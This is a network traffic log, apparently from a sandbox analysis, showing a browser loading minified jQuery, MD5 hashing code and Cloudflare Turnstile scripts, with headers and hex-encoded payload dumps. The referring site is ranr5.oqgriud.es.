2025-04-22 18:09:28 UTC	1369	IN	Data Raw: 37 66 66 32 0d 0a 20 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 33 32 41 72 72 61 79 7c 7c 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 46 6c 6f 61 74 33 32 41 72 72 61 79 7c 7c 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 46 6c 6f 61 74 36 34 41 72 72 61 79 3f 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 74 2e 62 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 Data Ascii: 7ff2 instanceof Uint32Array\|\|t instanceof Float32Array\|\|t instanceof Float64Array?new Uint8Array(t.buffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(
2025-04-22 18:09:28 UTC	1369	IN	Data Raw: 70 3b 69 66 28 21 28 69 3d 74 68 69 73 2e 5f 72 65 76 65 72 73 65 4d 61 70 29 29 66 6f 72 28 76 61 72 20 69 3d 74 68 69 73 2e 5f 72 65 76 65 72 73 65 4d 61 70 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 72 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 5b 72 2e 63 68 61 72 43 6f 64 65 41 74 28 6e 29 5d 3d 6e 3b 76 61 72 20 6f 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 Data Ascii: p;if(!(i=this._reverseMap))for(var i=this._reverseMap=[],n=0;n<r.length;n++)i[r.charCodeAt(n)]=n;var o=r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%4*2,c=r[t.char
2025-04-22 18:09:28 UTC	1369	IN	Data Raw: 74 3d 55 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 65 3d 74 2e 61 6c 67 6f 2c 41 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 41 5b 74 5d 3d 34 32 39 34 39 36 37 32 39 36 2a 61 2e 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 Data Ascii: t=U,e=t.lib,r=e.WordArray,i=e.Hasher,e=t.algo,A=[];!function(){for(var t=0;t<64;t++)A[t]=4294967296*a.abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(
2025-04-22 18:09:28 UTC	1369	IN	Data Raw: 2c 77 2c 32 33 2c 41 5b 33 35 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 63 2c 34 2c 41 5b 33 36 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 6c 2c 31 31 2c 41 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 75 2c 31 36 2c 41 5b 33 38 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 79 2c 32 33 2c 41 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 Data Ascii: ,w,23,A[35]),m=C(m,b,x,S,c,4,A[36]),S=C(S,m,b,x,l,11,A[37]),x=C(x,S,m,b,u,16,A[38]),b=C(b,x,S,m,y,23,A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:28 UTC	663	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ranr5.oqgriud.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-22 18:09:28 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1745980 Date: Tue, 22 Apr 2025 18:09:28 GMT X-Served-By: cache-lga21931-LGA, cache-lax-kwhp1940129-LAX X-Cache: HIT, HIT X-Cache-Hits: 77, 0 X-Timer: S1745345369.722208,VS0,VE1 Vary: Accept-Encoding
2025-04-22 18:09:28 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-04-22 18:09:28 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-04-22 18:09:28 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-04-22 18:09:28 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-04-22 18:09:28 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-04-22 18:09:28 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-04-22 18:09:28 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-04-22 18:09:28 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-04-22 18:09:28 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-04-22 18:09:28 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:29 UTC	688	OUT	GET /turnstile/v0/g/44e6f86df4dc/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ranr5.oqgriud.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-22 18:09:29 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 22 Apr 2025 18:09:29 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48123 Connection: close accept-ranges: bytes last-modified: Tue, 15 Apr 2025 10:23:44 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 9347128e9c11ef75-LAX alt-svc: h3=":443"; ma=86400
2025-04-22 18:09:29 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function jt(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-04-22 18:09:29 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-04-22 18:09:29 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 56 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ve(e,t){var a={label:0,sent:function(){if(l[0
